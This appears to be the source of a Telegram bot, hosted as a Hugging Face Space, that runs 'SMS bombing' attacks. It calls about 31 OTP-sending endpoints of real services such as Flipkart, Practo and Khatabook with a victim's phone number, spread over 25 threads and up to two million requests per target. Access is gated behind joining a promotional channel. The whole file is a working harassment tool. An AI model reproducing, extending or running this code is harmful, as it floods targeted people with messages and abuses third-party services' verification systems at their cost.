Sheeturt's picture
Rename bomber.py to app.py
2767cb5 verified
Raw
History Blame Contribute Delete
20 kB
import asyncio
import random
import requests
import urllib.request
import threading
import time
import os
import logging
import sys
from flask import Flask, request as flask_request, jsonify
from telegram import (
Update,
ReplyKeyboardMarkup,
InlineKeyboardButton,
InlineKeyboardMarkup
)
from telegram.ext import (
ApplicationBuilder,
CommandHandler,
MessageHandler,
ContextTypes,
filters,
CallbackQueryHandler
)
from telegram.error import BadRequest, Forbidden
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- CONFIGURATION ---
REQUIRED_CHANNELS = [
{"id": "@mybots23", "link": "https://t.me/mybots23"},
]
BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
WEBHOOK_URL = os.environ.get("WEBHOOK_URL", "")
VERIFY_CALLBACK_DATA = "verify_all_channels"
API_INDICES = [i for i in range(31)]
DEFAULT_COUNTRY_CODE = "91"
BOMBING_DELAY_SECONDS = 0.4
MAX_REQUEST_LIMIT = 2000000
THREAD_COUNT = 25
TELEGRAM_RATE_LIMIT_SECONDS = 5
PORT = int(os.environ.get("PORT", 7860))
AUTO_PING_INTERVAL = 300
# --- SESSION DATA (RAM only, cleared on restart) ---
verified_users = set()
bombing_active = {}
request_counts = {}
bombing_tasks = {}
global_request_counter = threading.Lock()
session = requests.Session()
flask_app = Flask(__name__)
telegram_app = None
bot_loop = None
def esc(text: str) -> str:
"""Escape special characters for Telegram MarkdownV2."""
escape_chars = r"_*[]()~`>#+-=|{}.!"
for ch in escape_chars:
text = text.replace(ch, "\\" + ch)
return text
def getapi(pn, lim, cc):
cc, pn, lim = str(cc), str(pn), int(lim)
url_urllib = [
"https://www.oyorooms.com/api/pwa/generateotp?country_code=%2B" + cc + "&nod=4&phone=" + pn,
"https://direct.delhivery.com/delhiverydirect/order/generate-otp?phoneNo=" + pn,
"https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" + pn
]
if lim < len(url_urllib):
try:
urllib.request.urlopen(url_urllib[lim], timeout=5)
return True
except:
return False
try:
if lim == 3:
return session.post('https://pharmeasy.in/api/auth/requestOTP', json={"contactNumber": pn}, timeout=5).status_code == 200
elif lim == 4:
return session.post('https://www.heromotocorp.com/en-in/xpulse200/ajax_data.php', data={'mobile_no': pn, 'randome': 'ZZUC9WCCP3ltsd/JoqFe5HHe6WfNZfdQxqi9OZWvKis=', 'csrf': '523bc3fa1857c4df95e4d24bbd36c61b'}, timeout=5).status_code == 200
elif lim == 5:
return session.post('https://indialends.com/internal/a/mobile-verification_v2.ashx', data={'aeyder03teaeare': '1', 'ertysvfj74sje': cc, 'jfsdfu14hkgertd': pn, 'lj80gertdfg': '0'}, timeout=5).status_code == 200
elif lim == 6:
return session.post('https://www.flipkart.com/api/6/user/signup/status', json={"loginId": [f"+{cc}{pn}"], "supportAllStates": True}, timeout=5).status_code == 200
elif lim == 7:
return session.post('https://www.flipkart.com/api/5/user/otp/generate', data={'loginId': f'+{cc}{pn}', 'state': 'VERIFIED'}, timeout=5).status_code == 200
elif lim == 8:
return session.post('https://www.ref-r.com/clients/lenskart/smsApi', data={'mobile': pn, 'submit': '1'}, timeout=5).status_code == 200
elif lim == 9:
return "success" in session.post("https://accounts.practo.com/send_otp", data={'mobile': f'+{cc}{pn}', 'client_name': 'Practo Android App'}, timeout=5).text.lower()
elif lim == 10:
return session.post('https://m.pizzahut.co.in/api/cart/send-otp?langCode=en', json={"customer": {"MobileNo": pn, "UserName": pn, "merchantId": "98d18d82-ba59-4957-9c92-3f89207a34f6"}}, timeout=5).status_code == 200
elif lim == 11:
return session.post('https://www.goibibo.com/common/downloadsms/', data={'mbl': pn}, timeout=5).status_code == 200
elif lim == 12:
return "sent" in session.post('https://www.apollopharmacy.in/sociallogin/mobile/sendotp/', data={'mobile': pn}, timeout=5).text.lower()
elif lim == 13:
return '"statusCode":"1"' in session.post('https://www.ajio.com/api/auth/signupSendOTP', json={"firstName": "SpeedX", "mobileNumber": pn, "requestType": "SENDOTP"}, timeout=5).text
elif lim == 14:
return session.post('https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN', json={"country_code": cc, "phone_number": pn}, timeout=5).status_code == 200
elif lim == 15:
return 'code:' in session.post('https://www.aala.com/accustomer/ajax/getOTP', data={'email': f'{cc}{pn}', 'firstname': 'SpeedX', 'lastname': 'SpeedX'}, timeout=5).text
elif lim == 16:
return session.post('https://api.grab.com/grabid/v1/phone/otp', data={'method': 'SMS', 'countryCode': 'id', 'phoneNumber': f'{cc}{pn}'}, timeout=5).status_code == 200
elif lim == 17:
return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6im8srkz9y"}, json={"phone": pn, "country": "IN"}, timeout=5).status_code == 200
elif lim == 18:
return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19an4fq2kk5y"}, json={"phone": pn, "country": "IN"}, timeout=5).status_code == 200
elif lim == 19:
return session.post("https://api.breeze.in/session/start", json={"phoneNumber": pn, "countryCode": f"+{cc}"}, timeout=5).status_code == 200
elif lim == 20:
return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6ilhej3mfc"}, json={"phone": pn, "country": "IN"}, timeout=5).status_code == 200
elif lim == 21:
return session.post("https://oidc.agrevolution.in/auth/realms/dehaat/custom/sendOTP", json={"mobile_number": pn, "client_id": "kisan-app"}, timeout=5).status_code == 200
elif lim == 22:
return session.post("https://api.penpencil.co/v1/users/resend-otp?smsType=2", json={"mobile": pn, "organizationId": "5eb393ee95fab7468a79d189"}, timeout=5).status_code == 200
elif lim == 23:
return session.post("https://api.khatabook.com/v1/auth/request-otp", json={"country_code": f"+{cc}", "phone": pn}, timeout=5).status_code == 200
elif lim == 24:
return session.get(f"https://www.jockey.in/apps/jotp/api/login/send-otp/+{cc}{pn}?whatsapp=true", timeout=5).status_code == 200
elif lim == 25:
return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19kc37zcdyiu"}, json={"phone": pn, "country": "IN"}, timeout=5).status_code == 200
elif lim == 26:
return session.post('https://vidyakul.com/signup-otp/send', data={'phone': pn}, timeout=5).status_code == 200
elif lim == 27:
return session.post('https://oneservice.adityabirlacapital.com/apilogin/onboard/generate-otp', json={'phone': pn}, timeout=5).status_code == 200
elif lim == 28:
return session.post('https://pinknblu.com/v1/auth/generate/otp', data={'country_code': f'+{cc}', 'phone': pn}, timeout=5).status_code == 200
elif lim == 29:
return session.post('https://auth.udaan.com/api/otp/send?client_id=udaan-v2', data={'mobile': pn}, timeout=5).status_code == 200
elif lim == 30:
return session.post('https://nwaop.nuvamawealth.com/mwapi/api/Lead/GO', json={"contactInfo": pn, "mode": "SMS"}, timeout=5).status_code == 200
return False
except:
return False
def bombing_thread_worker(user_id, phone_number):
"""Worker thread that sends OTP requests continuously until stopped."""
available_apis = API_INDICES[:]
while bombing_active.get(user_id, False) and request_counts.get(user_id, 0) < MAX_REQUEST_LIMIT:
if not available_apis:
break
api_index = random.choice(available_apis)
success = getapi(phone_number, api_index, DEFAULT_COUNTRY_CODE)
with global_request_counter:
request_counts[user_id] = request_counts.get(user_id, 0) + 1
if not success and api_index in available_apis:
available_apis.remove(api_index)
time.sleep(BOMBING_DELAY_SECONDS)
async def perform_bombing_task(user_id, phone_number, context):
"""Async task that manages the bombing session for a user."""
request_counts[user_id] = 0
bombing_active[user_id] = True
await context.bot.send_message(
chat_id=user_id,
text=esc(f"Bombing Started! Target: {phone_number}\nPress Stop Bombing to stop."),
parse_mode="MarkdownV2"
)
for _ in range(THREAD_COUNT):
t = threading.Thread(target=bombing_thread_worker, args=(user_id, phone_number))
t.daemon = True
t.start()
last_msg_time = time.time()
try:
while bombing_active.get(user_id, False):
await asyncio.sleep(1)
if (time.time() - last_msg_time) >= TELEGRAM_RATE_LIMIT_SECONDS:
await context.bot.send_message(
chat_id=user_id,
text=esc(f"Status: {request_counts.get(user_id, 0)} requests sent."),
parse_mode="MarkdownV2"
)
last_msg_time = time.time()
except asyncio.CancelledError:
bombing_active[user_id] = False
finally:
bombing_active[user_id] = False
total = request_counts.get(user_id, 0)
await context.bot.send_message(
chat_id=user_id,
text=esc(f"Bombing stopped! Total requests sent: {total}"),
parse_mode="MarkdownV2"
)
bombing_tasks.pop(user_id, None)
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle /start command — show channel join buttons."""
if update.message.chat.type != "private":
return
keyboard = []
for chan in REQUIRED_CHANNELS:
keyboard.append([InlineKeyboardButton(f"Join {chan['id']}", url=chan['link'])])
keyboard.append([InlineKeyboardButton("Verify Membership", callback_data=VERIFY_CALLBACK_DATA)])
await update.message.reply_text(
esc("Welcome! Join our channel below to unlock the bomber:"),
reply_markup=InlineKeyboardMarkup(keyboard),
parse_mode="MarkdownV2"
)
async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Verify that user has joined all required channels."""
query = update.callback_query
await query.answer()
user_id = query.from_user.id
unjoined = []
bot_not_admin = []
for chan in REQUIRED_CHANNELS:
try:
m = await context.bot.get_chat_member(chat_id=chan['id'], user_id=user_id)
if m.status in ["left", "kicked", "banned"]:
unjoined.append(chan['id'])
except BadRequest as e:
err = str(e).lower()
if "chat not found" in err or "bot is not a member" in err or "user not found" in err:
bot_not_admin.append(chan['id'])
logger.warning(f"Bot lacks admin access in {chan['id']}: {e}")
else:
unjoined.append(chan['id'])
logger.warning(f"BadRequest for {chan['id']}: {e}")
except Forbidden as e:
bot_not_admin.append(chan['id'])
logger.warning(f"Forbidden error for {chan['id']}: {e}")
except Exception as e:
unjoined.append(chan['id'])
logger.warning(f"Unexpected error for {chan['id']}: {e}")
if bot_not_admin:
await context.bot.send_message(
chat_id=user_id,
text=(
"Bot configuration error!\n\n"
"The bot must be added as an admin in these channels:\n"
+ "\n".join(bot_not_admin)
+ "\n\nPlease ask the channel owner to add the bot as admin, then try again."
)
)
return
if not unjoined:
verified_users.add(user_id)
markup = ReplyKeyboardMarkup(
[["Start Bombing", "Stop Bombing"]], resize_keyboard=True
)
await query.edit_message_text("Verified! You can now use the bomber.")
await context.bot.send_message(chat_id=user_id, text="Choose an option:", reply_markup=markup)
else:
await context.bot.send_message(
chat_id=user_id,
text=f"You have not joined: {', '.join(unjoined)}\nJoin and then press Verify again."
)
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle keyboard button messages from the user."""
if update.message.chat.type != "private":
return
user_id = update.message.from_user.id
text = update.message.text
if user_id not in verified_users:
await update.message.reply_text("Please use /start and verify your membership first.")
return
if text == "Start Bombing":
if bombing_active.get(user_id, False):
await update.message.reply_text("Bombing is already running! Stop it first.")
return
context.user_data["awaiting_num"] = True
await update.message.reply_text(esc("Enter the 10-digit target phone number:"), parse_mode="MarkdownV2")
elif text == "Stop Bombing":
if not bombing_active.get(user_id, False):
await update.message.reply_text("No bombing session is currently active.")
return
bombing_active[user_id] = False
task = bombing_tasks.get(user_id)
if task and not task.done():
task.cancel()
await update.message.reply_text("Stopping bombing... please wait.")
elif context.user_data.get("awaiting_num"):
if text.isdigit() and len(text) == 10:
context.user_data["awaiting_num"] = False
task = asyncio.create_task(perform_bombing_task(user_id, text, context))
bombing_tasks[user_id] = task
else:
await update.message.reply_text("Invalid input. Please enter exactly 10 digits (no spaces or letters).")
# --- FLASK ROUTES ---
@flask_app.route("/webhook", methods=["POST"])
def webhook():
global telegram_app, bot_loop
if telegram_app is None or bot_loop is None:
logger.warning("Webhook received but bot not ready yet")
return jsonify({"ok": True}), 200
try:
data = flask_request.get_json(force=True)
update = Update.de_json(data, telegram_app.bot)
future = asyncio.run_coroutine_threadsafe(
telegram_app.process_update(update),
bot_loop
)
future.result(timeout=30)
except Exception as e:
logger.error(f"Error processing update: {e}")
return jsonify({"ok": True})
@flask_app.route("/", methods=["GET"])
def index():
status = "ready" if telegram_app else "initializing"
return f"Bot is {status}!", 200
@flask_app.route("/health", methods=["GET"])
def health():
return jsonify({"status": "ok", "bot": "ready" if telegram_app else "initializing"}), 200
# --- BOT INIT (background thread) ---
def fix_dns():
import subprocess, socket
try:
with open('/etc/resolv.conf', 'r') as f:
logger.info(f"Current resolv.conf: {f.read().strip()}")
except Exception as e:
logger.warning(f"Cannot read resolv.conf: {e}")
try:
result = subprocess.run(
['sh', '-c', 'echo "nameserver 8.8.8.8\nnameserver 8.8.4.4" > /etc/resolv.conf'],
capture_output=True, text=True
)
if result.returncode == 0:
logger.info("resolv.conf updated with Google DNS")
else:
logger.warning(f"resolv.conf write failed: {result.stderr}")
except Exception as e:
logger.warning(f"subprocess resolv.conf failed: {e}")
try:
r = socket.getaddrinfo('api.telegram.org', 443)
logger.info(f"DNS resolved api.telegram.org: {r[0][4]}")
except Exception as e:
logger.warning(f"DNS test failed after fix: {e}")
try:
with open('/etc/hosts', 'a') as f:
f.write("\n149.154.167.220 api.telegram.org\n")
logger.info("Added api.telegram.org to /etc/hosts")
r = socket.getaddrinfo('api.telegram.org', 443)
logger.info(f"DNS resolved via /etc/hosts: {r[0][4]}")
except Exception as e2:
logger.error(f"/etc/hosts fallback also failed: {e2}")
def run_bot_webhook():
global telegram_app, bot_loop
token = os.environ.get("BOT_TOKEN", "")
wh_url = os.environ.get("WEBHOOK_URL", "")
if not token:
logger.error("BOT_TOKEN not found in environment! Set it in Space secrets.")
return
if not wh_url:
logger.error("WEBHOOK_URL not found in environment! Set it in Space secrets.")
return
fix_dns()
bot_loop = asyncio.new_event_loop()
asyncio.set_event_loop(bot_loop)
full_webhook = wh_url.rstrip("/") + "/webhook"
max_retries = 30
retry_delay = 5
async def init_bot():
global telegram_app
for attempt in range(1, max_retries + 1):
try:
logger.info(f"Bot init attempt {attempt}/{max_retries}...")
app = ApplicationBuilder().token(token).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CallbackQueryHandler(verify_membership, pattern=VERIFY_CALLBACK_DATA))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
await app.initialize()
await app.start()
await app.bot.set_webhook(url=full_webhook)
telegram_app = app
logger.info(f"Webhook set successfully: {full_webhook}")
return True
except Exception as e:
logger.warning(f"Attempt {attempt} failed: {e}")
try:
await app.stop()
await app.shutdown()
except Exception:
pass
if attempt < max_retries:
logger.info(f"Retrying in {retry_delay}s...")
await asyncio.sleep(retry_delay)
else:
logger.error("All retry attempts failed.")
return False
bot_loop.run_until_complete(init_bot())
bot_loop.run_forever()
# --- AUTO PING (prevents HuggingFace Space from sleeping) ---
def auto_ping():
url = f"http://127.0.0.1:{PORT}/health"
while True:
time.sleep(AUTO_PING_INTERVAL)
try:
r = requests.get(url, timeout=10)
logger.info(f"Auto-ping: {r.status_code}")
except Exception as e:
logger.warning(f"Auto-ping failed: {e}")
if __name__ == "__main__":
print(f"[STARTUP] Python {sys.version}", flush=True)
print(f"[STARTUP] BOT_TOKEN: {'SET (' + str(len(BOT_TOKEN)) + ' chars)' if BOT_TOKEN else 'MISSING'}", flush=True)
print(f"[STARTUP] WEBHOOK_URL: {WEBHOOK_URL if WEBHOOK_URL else 'MISSING'}", flush=True)
print(f"[STARTUP] PORT: {PORT}", flush=True)
threading.Thread(target=run_bot_webhook, daemon=True).start()
threading.Thread(target=auto_ping, daemon=True).start()
print(f"[STARTUP] Flask starting on 0.0.0.0:{PORT}...", flush=True)
flask_app.run(host="0.0.0.0", port=PORT, use_reloader=False)